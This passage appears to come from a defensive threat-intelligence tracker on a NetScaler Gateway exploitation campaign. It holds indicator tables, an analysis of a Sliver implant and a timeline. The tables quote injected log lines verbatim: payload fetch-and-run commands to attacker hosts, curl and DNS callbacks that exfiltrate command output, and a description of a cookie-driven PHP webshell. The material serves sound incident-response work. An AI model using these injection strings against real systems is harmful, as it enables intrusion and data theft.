may be a leftover from the 2023 wave rather than this campaign. | Public GitHub repository, no TLP marking |
| File name | loot_* upload staging files and agent.pl cron lines | Poppelgaard [56] | Upload staging files (loot_*) and agent.pl cron persistence lines of the SAML-attack kit, flagged as compromise per the Poppelgaard checker v1.12 (kit generations 2-3; also checked in /nsconfig/.slap) | From the checker's compiled community analysis; no vendor report publishes these names. A hit: preserve the file and investigate and correlate the finding before concluding compromise. A missing file proves nothing. | Public GitHub repository, no TLP marking |
| Log string | nsshutdown -R | Poppelgaard [56] | Attack text in injected commands per the Poppelgaard checker v1.12 (via Gotham Technology Group): forces an appliance shutdown/reboot | Attack-string lead from a compiled checker list; a match means targeting, not proof of execution. | Public GitHub repository, no TLP marking |
| File path | x.sh in /, /tmp or /var/tmp | Poppelgaard [56]; Unit 42 (Palo Alto Networks) [123]; Arctic Wolf [53] | Payload shell file locations flagged as compromise per the Poppelgaard checker v1.11 (Unit 42 / Arctic Wolf family; /download/x.sh is the download path) | Compiled checker check over published vendor indicators. A hit: preserve the file and investigate and correlate the finding before concluding compromise. A missing file does not rule out execution or cleanup. | Public GitHub repository, no TLP marking |
| File path | /vpn/c (stolen-config archive in Gateway web folders) | Poppelgaard [56]; Rapid7 ETR [49] | Stolen-config archive path in the Gateway web folders per the Poppelgaard checker v1.11; a web request returning HTTP 200 is flagged as compromise by the checker (the ns.conf archive with keys was likely downloaded). Rapid7 independently documents this exact mechanism: the 20 Sep injection ran tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig, and any unauthenticated GET https://<gateway>/vpn/c then returns the archive | Compiled checker check, now vendor-corroborated by Rapid7 MDR. A 200 hit is a strong config/key-theft signal: preserve evidence and rotate keys and passwords. A 404 does not prove the archive was never taken. | Public GitHub repository, no TLP marking |
| File path | /var/nstmp/.nscache, /tmp/.init, changed portal templates, [% in bookmarks | Poppelgaard [56] | Leftovers of the 2020 NOTROBIN backdoor checked per the Poppelgaard checker v1.11 - reused or re-observed in this campaign as compromise signals | Historical NOTROBIN artefacts; a hit indicates the 2020 backdoor or its reuse, correlate before attributing to this campaign. | Public GitHub repository, no TLP marking |
| Log string | Web requests to /nsconmsg | Poppelgaard [56] | Per the Poppelgaard checker v1.11: nsconmsg is a CLI tool, never a web path - any web request to it is flagged as compromise (Corelight, via Gotham, saw it with webshell use) | Compiled checker check; robust signal, but proxy/crawler noise on odd paths is possible - correlate with webshell indicators before concluding compromise. | Public GitHub repository, no TLP marking |
| User-Agent | K:<base64># | Poppelgaard [56] | Base64 payload staged in a K:<base64># User-Agent (1 October variant without the pitboss marker), per the Poppelgaard checker v1.11; the base64 content is decoded for review | Hunting lead; decode and correlate with the injected-command family before acting. | Public GitHub repository, no TLP marking |
| User-Agent | Team-NetScaler-Inventory | Poppelgaard [56] | Fake User-Agent on /download/x.sh requests, per the Poppelgaard checker v1.11 | Hunting lead from a compiled checker list; not seen in vendor reporting. | Public GitHub repository, no TLP marking |
| File path | /var/netscaler/.ns_suidcmd | Poppelgaard [56]; Unit 42 (Palo Alto Networks) [123] | SUID command-helper artefact associated with the Unit 42 .deb webshell family, checked as compromise per the Poppelgaard checker v1.11 | Compiled checker check over Unit 42's published research; a hit: preserve the file and investigate and correlate before concluding compromise. A missing file does not rule out the webshell. | Public GitHub repository, no TLP marking |
| SHA-256 | fb7f574a4c185fa8e520c47280939ce22899243a0083ee7120b7300c43baca29 | Poppelgaard [56]; Martin's Blog (mac.sploit.dk) [46] | SHA-256 of the VULNERABLE ns_monuploadd_err.pl maintenance script as shipped in 14.1-73.30 (the Poppelgaard checker checks for this copy on fixed builds: finding it there means the file was put back or the upgrade did not replace it - the CVE-2026-88771 execution path is still open). Martin's Blog independently hashes the same file in its 29 Sep build-diff analysis and documents the source-to-shell path: the -WR branch greps for pitboss failure lines, derives a core-file name from everything after the final NSPPE token, and interpolates it unquoted into a Perl backtick (shell sink); a strict NSPPE-<nn> (PID) regex, list-form open and a path allowlist replace this on 73.37 | This is the hash of Citrix's own vulnerable maintenance script, not malware - its presence on a fixed build is an upgrade/remediation failure signal, not directly attacker infrastructure. Compare with a clean appliance of the same build and contact Citrix Support. | Public GitHub repository, no TLP marking |
| SHA-256 | 02b24a9923a6cee1fbee48137b7f81b7e0f5169246728b7368fc3a066c43a708 | Martin's Blog (mac.sploit.dk) [46] | SHA-256 of the FIXED ns_monuploadd_err.pl as shipped in 14.1-73.37 (Martin's Blog 29 Sep build-diff): strict pitboss NSPPE-<nn> (PID) regex instead of the permissive grep, list-form open calling find without a shell, and a path-character allowlist; attacker-shaped usernames produce no filename on this version. Useful to verify a running script is actually the fixed copy | Hash of a vendor script, not an IoC. Build archives change with signature sections - verify against the hash of the build you actually run, not a downloaded package name. | Public blog, no TLP marking |
| Log pattern | Failed logins from four password-spray sources | Poppelgaard [56] | Four password-spray source IP groups carried in the Poppelgaard checker v1.11 log checks (failed-login hunting) | Hunting lead from the compiled checker list; the checker does not name the four sources publicly. Failed logins alone are common noise - correlate with campaign indicators. | Public GitHub repository, no TLP marking |
| File name | *.receiver (randomly named) in LogonPoint | Poppelgaard [56] | Randomly named .receiver webshell copies in the LogonPoint/web folders, reported as compromise per checker v1.13 (Huntback.io) - extending the known .ctxs.receiver and .slap.receiver families; requests for any *.receiver file in LogonPoint count as webshell probing | Pattern from a public checker, not a vendor report. A *.receiver file is a strong compromise signal: preserve the file and investigate and correlate before concluding compromise; upgrading does not remove it. | Public GitHub repository, no TLP marking |
| IPv4 | 185.218.86.25 | Poppelgaard [56] | Gateway recon scanner during the 2 Oct SAML crash wave, per the Gotham hunt list of 3 Oct (r/Citrix 2 Oct; carried in the Poppelgaard checker v1.12) alongside two sources reported in Gateway logs in the same wave: 79.141.161.139 (Host Europe/Bulgaria hosting) and 216.252.238.222 (THC Servers Global / AS40676 Psychz). WHOIS: TC Datacenter Limited. VirusTotal: 10 of 91 engines malicious, 7 suspicious (5 Oct) | The checker itself labels these hunting leads, not attack proof. Scan sources are often rented scanners shared across campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 79.141.161.139 | Poppelgaard [56] | Source reported in Gateway logs during the 2 Oct SAML crash wave, per the Gotham hunt list (carried in the Poppelgaard checker v1.12 as a hunting lead). WHOIS: HZ Hosting (Bulgaria). VirusTotal: 0 of 91 engines (5 Oct) | Hunting lead, not attack proof; clean VT score proves nothing. Hosted on bulletproof-adjacent hosting commonly rented for scanners. | Public GitHub repository, no TLP marking |
| IPv4 | 216.252.238.222 | Poppelgaard [56] | Source reported in Gateway logs during the 2 Oct SAML crash wave, per the Gotham hunt list (carried in the Poppelgaard checker v1.12 as a hunting lead). RIPE netname US-THCSERVERSGLOBAL, THC Servers Global; announced by AS40676 Psychz Networks. VirusTotal: 11 of 91 engines malicious, 2 suspicious (5 Oct) | Hunting lead, not attack proof. Small-hosting space often shared across campaigns. | Public GitHub repository, no TLP marking |
| IPv4 | 159.203.33.46 | Poppelgaard [56] | pitboss command-injection source seen on a production HA pair on 28-29 Sep, reported in pull request #1 to the Poppelgaard checker (v1.12; tester feiglein74). WHOIS: DigitalOcean. VirusTotal: 7 of 91 engines malicious, 3 suspicious (5 Oct) | First-hand but single-report observation, published via a community PR. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 139.162.83.159 | Poppelgaard [56] | Gotham Technology Group incident-response observation (2 Oct, shared with permission; carried in the Poppelgaard checker v1.11): recon sweeps, webshell/marker-file pollers, payload senders, callback or exfiltration servers. Linode (Akamai). VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/139.162.83.159 | IR observation shared with permission and relayed through the checker. Attacker IPs in IR writeups can be unique to one victim; absence is not proof of a clean host. | Public GitHub repository, no TLP marking |
| IPv4 | 139.162.75.170 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Linode (Akamai). VirusTotal: 2 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/139.162.75.170 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 207.148.105.57 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Vultr. VirusTotal: 0 of 92 engines (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/207.148.105.57 | As for 139.162.83.159. Clean VT proves nothing - fresh infrastructure scores zero. | Public GitHub repository, no TLP marking |
| IPv4 | 64.176.71.42 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. The Constant Company (Vultr-adjacent). VirusTotal: 3 of 92 engines malicious, 2 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/64.176.71.42 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 194.127.166.126 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. OWL IPv4 Japan allocation. VirusTotal: 0 of 92 engines, 2 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/194.127.166.126 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 91.199.163.55 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Small RIPE allocation (netname rx1, registered Feb 2026 under digi-cloud.net / Linama contact; announced via AS209272 Alviva Holding per BGP). Also a Huntback.io decoy per checker v1.13. VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/91.199.163.55 | As for 139.162.83.159; a decoy operator may also run injection checks - correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 103.214.20.54 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Ransom IT Trust AU allocation (announced via AS136557 Host Universal Pty / HostRoyale per BGP). VirusTotal: 0 of 92 engines, 5 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/103.214.20.54 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 109.136.126.142 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Proximus NV (Belgian consumer/ISP). Also a Huntback.io decoy per checker v1.13. VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/109.136.126.142 | As for 139.162.83.159; consumer/ISP address - likely a compromised device or residential proxy; do not block on it. | Public GitHub repository, no TLP marking |
| IPv4 | 79.133.42.141 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. RIPE netname DE-ACCELERATED, org firstcolo GmbH (Germany); routed via AS214036 Ultahost per BGP. VirusTotal: 1 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/79.133.42.141 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 146.70.199.53 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. M247 Ltd Singapore space. VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/146.70.199.53 | As for 139.162.83.159. M247 ranges are heavily used by commercial VPN exits - a hit can be an ordinary VPN user; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 135.136.98.176 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. M247 Ltd Singapore space. VirusTotal: 0 of 92 engines (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/135.136.98.176 | As for 139.162.83.159, with the M247 VPN-exit caveat. | Public GitHub repository, no TLP marking |
| IPv4 | 170.64.143.206 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 3 of 92 engines malicious, 2 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/170.64.143.206 | As for 139.162.83.159. DigitalOcean is also used by researchers; correlate before acting. | Public GitHub repository, no TLP marking |
| IPv4 | 165.227.228.21 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 3 of 92 engines malicious, 3 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/165.227.228.21 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 139.59.86.242 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean (APNIC space). VirusTotal: 1 of 92 engines malicious, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/139.59.86.242 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 159.223.233.184 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 1 of 92 engines malicious, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/159.223.233.184 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 64.227.181.23 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DigitalOcean. VirusTotal: 2 of 92 engines malicious, 4 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/64.227.181.23 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 85.11.187.35 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. SINO WORLDWIDE TRADING (Norway-announced). VirusTotal: 8 of 92 engines malicious, 4 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/85.11.187.35 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 66.173.222.26 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. Windstream Communications (US, CAVTEL block). VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/66.173.222.26 | As for 139.162.83.159. Business-ISP address: likely a compromised host; do not block on it. | Public GitHub repository, no TLP marking |
| IPv4 | 185.231.33.46 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. DataShield (Seychelles). VirusTotal: 10 of 92 engines malicious, 5 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/185.231.33.46 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 5.83.144.60 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. RIPE netname Ucartz_Online (Ucartz Online Pvt Ltd, India); BGP-routed via GorillaServers (AS53850). VirusTotal: 3 of 92 engines malicious, 3 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/5.83.144.60 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 167.88.172.6 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. WHOIS netname PONYNET-10, FranTech Solutions; also within RouterHosting space (AS14956 RouterHosting LLC). VirusTotal: 0 of 92 engines (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/167.88.172.6 | As for 139.162.83.159. FranTech is a privacy host commonly rented for anonymity; clean VT proves nothing. | Public GitHub repository, no TLP marking |
| IPv4 | 143.244.44.177 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. RIPE netname CDNEXT-NYC, announced by AS212238 CDNEXT Datacamp Limited (Dataplane/BGP: whois mnt-by DATACAMP-MNT; not DigitalOcean despite the DO-adjacent range). VirusTotal: 2 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/143.244.44.177 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 31.56.197.137 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. CloudBackbone (CGI Global, Latvia). Same /24 neighbourhood as 31.56.197.72 (payload host, eSentire/LevelBlue). VirusTotal: 1 of 92 engines malicious, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/31.56.197.137 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 23.234.83.194 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. tzulo, inc. (US). VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/23.234.83.194 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 23.234.109.28 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. tzulo, inc. (US). VirusTotal: 1 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/23.234.109.28 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 23.234.80.246 | Poppelgaard [56] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. tzulo, inc. (US). VirusTotal: 1 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/23.234.80.246 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| File path | /v | Beaumont, Oct 2 19:01 UTC [98]; Poppelgaard [61]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Payload file the injected commands save at the filesystem root and execute (same write-up) Poppelgaard separately describes a bot sending fetch -qo /v with an http URL on port 443 and then sh /v, using IFS instead of spaces. Beazley's 4 Oct log-indicator table carries the matching line: pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v${IFS}http://213.209.159.55:443/t/<TOKEN>;sh${IFS}/v;# X | Unverified. A missing /v does not rule out earlier execution or cleanup, as the write-up itself notes. | Public Mastodon post (screenshots) |
| URI path | /t/ | Beaumont, Oct 2 19:01 UTC [98]; Poppelgaard [61]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Paths under /t/ on 213.209.159.55:443 (plain HTTP) used for the payload downloads Poppelgaard describes the same /t/<hex> download path from a bot. Beazley's 4 Oct log table shows the full payload: http://213.209.159.55:443/t/<TOKEN>. Beazley's IoC table also lists 213.209.159.55:443/t/* as payload delivery | Unverified, single write-up. A short generic path, so only meaningful together with the IP. | Public Mastodon post (screenshots) |
| Log string | pitboss PPE unexpectedly died NSPPE;nohup${IFS}fetch${IFS}-qo-${IFS}https://f.pylrk.cc/<TOKEN>/s|sh&;# X | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Sliver-campaign delivery line from the second wave (Beazley Security, 4 Oct log indicators; also seen without the trailing &). Downloads the implant loader from f.pylrk.cc and pipes it to sh | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;curl http://158.94.211.205:8080/$(id|base64);# X | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Callback-and-exfiltration line (Beazley Security, 4 Oct log indicators): runs id, base64-encodes the output into the URL to 158.94.211.205:8080 | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;curl\https://webhook.site/<UUID>;# X (and IFS=,;a=curl,-k,https://webhook.site/<UUID>?test=real;$a;# X) | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Out-of-band callback lines to webhook.site (Beazley Security, 4 Oct log indicators), two syntax variants | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;nslookup PWNED.<UUID>.dnshook.site;# X | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | DNS out-of-band callback line (Beazley Security, 4 Oct log indicators): exfiltrated output encoded in the PWNED.<UUID> labels under dnshook.site | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;id>/netscaler/ns_gui/vpn/id009.txt;id>/netscaler/ns_gui/id009.txt;# X (and NSPPE-00;id>/netscaler/ns_gui/vpn/theme/rce.txt;# X) | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Execution-probe lines (Beazley Security, 4 Oct log indicators): write id output into the web folders, NSPPE-00 prefix on the theme variant | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| File name | nsaaad-*.gz | Beaumont, Oct 2 19:01 UTC [98] | Core dumps of the authentication daemon in recently modified numbered directories under /var/core after repeated crashes (exit status 0x8a, restart limit 6, then a reboot) | Unverified. Crashes have other causes; a match is a reason to preserve logs and cores and involve Citrix Support, not proof of compromise. | Public Mastodon post (screenshots) |
| File path | /nsconfig/.slap/ and /flash/nsconfig/.slap/ | Poppelgaard [56] | Perl agent/bridge directory of the kit the SAML attack tries to install (dropper "380d56", community analysis per the Poppelgaard checker v1.10); persists across reboots | Single-source community analysis compiled in the Poppelgaard checker; no vendor or CERT has published these paths. A hunting lead, not proof of compromise. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.ux/ | Poppelgaard [56] | Staging directory for slapshot.py (listens on 127.0.0.1:9909) and whipd.py (listens on 0.0.0.0:9910) of the SAML-attack kit per the Poppelgaard checker v1.10 | Single-source community analysis compiled in the Poppelgaard checker; no vendor or CERT has published these paths or ports. Local-only ports can be legitimate; correlate with the other kit artefacts. | Public GitHub repository, no TLP marking |
| File name | .slap.receiver / .ctxs.receiver / receiver.deb in LogonPoint/custom | Poppelgaard [56]; GreyNoise blog [77] | PHP webshell variants of the SAML-attack kit (fake 404 responses, command in a cookie, fixed token), with a receiver.v2.min[.<hex>].css alias and an /etc/httpd.conf.slap.bak config backup, per the Poppelgaard checker v1.10 | Single-source community analysis compiled in the Poppelgaard checker. Overlaps the publicly documented .ctxs.receiver webshell; treat new variants as leads and match on file content, not names. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.slap-agent.log, .slap-httpd-test.log, .slap-diag.txt, .s2loot, /tmp/.slap.cron | Poppelgaard [56] | Log and staging artefacts of the SAML-attack kit per the Poppelgaard checker v1.10; persistence via rc.netscaler and root crontab (agent every minute, .slap/boot.sh every 5 minutes) | Single-source community analysis compiled in the Poppelgaard checker; no vendor or CERT has published these artefacts. A hunting lead. | Public GitHub repository, no TLP marking |
| SHA-256 | 72cff13fcba75504485e94fa6bfc5e9363e860f49efdba68feb583148eec38f2 | Poppelgaard [56] | Dropper "380d56" of the SAML-attack kit, listed in the Poppelgaard checker v1.10 (community analysis). VirusTotal on 2 Oct: Perl file, 1 of 75 engines malicious | Single-source community analysis; no vendor or CERT has confirmed the hash, and the VirusTotal score is weak evidence (one heuristic label, 1/75). | Public GitHub repository, no TLP marking |
| Config pattern | add authentication samlAction.* | Citrix community blog [2] | Citrix: an appliance with this line in its configuration is affected by the new SAML issue, per the applicability check in Citrix's guidance | Applicability check from Citrix, not an indicator of compromise. | Public vendor blog, no TLP marking |
| Config pattern | add authentication samlIdPProfile.* | Citrix community blog [2] | Citrix: an appliance with this line in its configuration is affected by the new SAML issue, per the applicability check in Citrix's guidance | Applicability check from Citrix, not an indicator of compromise. | Public vendor blog, no TLP marking |
| Log pattern | proc nsaaad.*(SIGNALED|EXITED)|maximum number of restarts|Pitboss declaring system failure|All monitored processes have exited, rebooting | Beaumont, Oct 2 19:01 UTC [98] | Grep from the Beaumont post for authentication-daemon crashes and the resulting restart or reboot, run against /var/log/ns.log | Beaumont's own pattern. A match means the daemon crashed or the appliance restarted, which has other causes too; it is not proof of an attack. | Public Mastodon post |
The 2 October SAML-issue payload chain: f.pylrk.cc and the FreeBSD Sliver implant
A TLP:CLEAR malware analysis report (2 October, vendor-independent, corroborated by an Expel IR observation) and the delivery host's live state connect the new-issue delivery domain to an actual implant:
pylrk.ccwas registered on 2 Oct at 06:56 UTC (NameSilo, Cloudflare nameservers); the delivery subdomainf.pylrk.ccfirst appears in passive DNS at 11:50 UTC with a Let's Encrypt certificate (CN=pylrk.cc) issued at 06:01 UTC.f.pylrk.cc/HaKi2ufpiQ8AeVTZ/hostserved an 8,822,784-byte Go ELF64 binary over HTTPS (HTTP/2 200, application/octet-stream, Cloudflare-fronted). Still live and unchanged on 3 October.- The binary is a Sliver C2 implant compiled for FreeBSD - the OS under NetScaler - with a hardcoded C2 reference to
https://www.pylrk.cc, a custom protocol tagpylrkfbsd, tunnel/reverse-shell capability (IMPLANT_CAPABILITY_TUNNEL_TERMINAL_V1), a spoofed Chrome 108/Windows User-Agent for its own beacons, and no embedded IP (C2 resolves via DNS). - VirusTotal: 31 of 75 engines detect it, all Sliver/Vilers-family labels; first submitted 2 Oct 11:49 UTC; recorded filenames include
/var/tmp/.hostandcitrix3.bad- appliance deployment paths. - A separate Perl-script payload (3-4 of 75 engines) is associated with
213.209.159.55, not with f.pylrk.cc; the two delivery chains are distinct in the public reporting.
The report is a static analysis (sample not executed) by an external team, not a vendor or CERT publication. Cloudflare fronts the delivery host: block the domain names and the hash, never the resolved proxy IPs. Hunt *.pylrk.cc in DNS logs rather than the single hostname - subdomains may rotate. [62]
Post-exploitation steps attempted on a GreyNoise sensor
GreyNoise says the attacker did not gain a foothold on its sensor. The steps below show the attacker's playbook, not a successful compromise.
- Set setuid and setgid on
/bin/sh. - Planted a PHP webshell that authenticates by cookie.
- Killed and restarted httpd, for anti-forensics or to activate the changed config.
A Reddit user described one sample of the .ctxs.receiver file, and IFIN relayed the description. This is unconfirmed. [81]
- The file is a 237-byte PHP one-liner.
- It runs a URL-decoded cookie value through
passthru(), but only when a second cookie matches a hardcoded 16-character hex token. - NetScaler uses both cookie names legitimately, so the traffic blends in.
- The file survived a reboot and the upgrade to 14.1-73.37.
The token likely differs per victim, so search the file's content rather than relying on its hash.
Source: GreyNoise, "Swarming Against Citrix 0-Day Exploitation". Victim-specific names and IPs from later IR-vendor writeups are deliberately left out. Beaumont warns that publishing them exposes organisations that have not yet remediated. [94]
Timeline
Times are UTC unless marked otherwise. Events without a time show only their date. Expand an event to see its sources.
- Research
Unit 42: earliest activity is NetScaler version fingerprinting
On 21 Aug 104.248.244.66 and then 77.83.199.39 requested /admin_ui/common/css/ns/ui.css and /vpn/js/rdx/core/lang/rdx_en.json.gz from a US NetScaler Gateway. On 21 and 22 Aug these two hosts and 78.47.24.217 sent the same requests to more than 100 other systems. Unit 42 describes this as fingerprinting, not exploitation.
Sources: [123]
- Research
Unit 42: .deb webshell requests begin (CVE-2026-88772 chain)
From 4 to 24 Sep the actor repeatedly requested .deb files in /vpn/scripts/linux/, rotating infrastructure: one VPS per day on 4-8 Sep, Cloudflare WARP addresses on 9-11 Sep, 162.33.178.9 on 14 Sep and 193.149.176.207 daily on 15-24 Sep. A continuous stream of requests to /logon/LogonPoint/Authentication/GetUserName ran from 10 Sep until 01:54 UTC on 27 Sep, hours before the bulletin.
Sources: [123]
- Research
eSentire: CVE-2026-88771 exploited as early as 5 September
eSentire TRU incident response saw exploitation of Internet-facing NetScaler Gateways from 5 Sep, more than three weeks before disclosure: base64 PHP staged in the access log via fake /vpn/media/*.ico requests, then executed through a crafted login username. In one intrusion a .deb-variant webshell was installed and operated from 5 Sep, with signs of data exfiltration and lateral movement to internal virtual desktops and back to the appliance over SSH.
Sources: [69]
- Official advisory Validated
CVE IDs reserved
NetScaler reserves CVE-2026-88771 and CVE-2026-88772 at 07:14 UTC. The records were published on 27 Sep at 16:02 and 16:09 UTC.
Validated against the CVE record on 29 Sep.
- Research
Unit 42: three-stage CVE-2026-88771 chain drops a PHP webshell
77.83.199.39, 78.47.24.217 and 139.180.152.138 staged a Base64 dropper in the User-Agent (logged to httpaccess-vpn.log), poisoned ns.log with a fake pitboss heartbeat message, and had ns_monuploadd_err.pl -WR decode and run it, installing the .ctxs.receiver webshell at a US target.
Sources: [123]
- Reported observation
Danish NetScalers start going offline
Ingeniøren's review of Shodan data shows several Danish NetScaler systems switched off from 23 Sep, four days before Citrix's public disclosure.
Sources: [126]
- Telemetry
GreyNoise sensors see exploitation from a single IP
149.104.78.141: 3 sessions 07:32:19-07:32:20 UTC. IP flagged "suspicious" (Citrix ADC Gateway Login Panel Crawler), then "malicious" (Generic ${IFS} Use in RCE Attempt; CitrixBleed 2 attempt). Later retro-tagged as CVE-2026-88771. GreyNoise's retro-hunt found no other exploitation sessions before disclosure - this covers GreyNoise sensors only.
- Reported observation Validated
Danish government agencies shut down their NetScalers
Danish agencies, among them PET, the Armed Forces and the police, took their Citrix NetScaler environments offline from Friday 25 Sep, two days before Citrix disclosed the vulnerabilities. Ingeniøren later reported the shutdowns from Shodan data; none of the agencies would explain why.
The Friday 25 Sep shutdown was validated independently on 30 Sep.
Sources: [126]
- Official advisory
NCSC-NL confidentially warns Dutch organisations
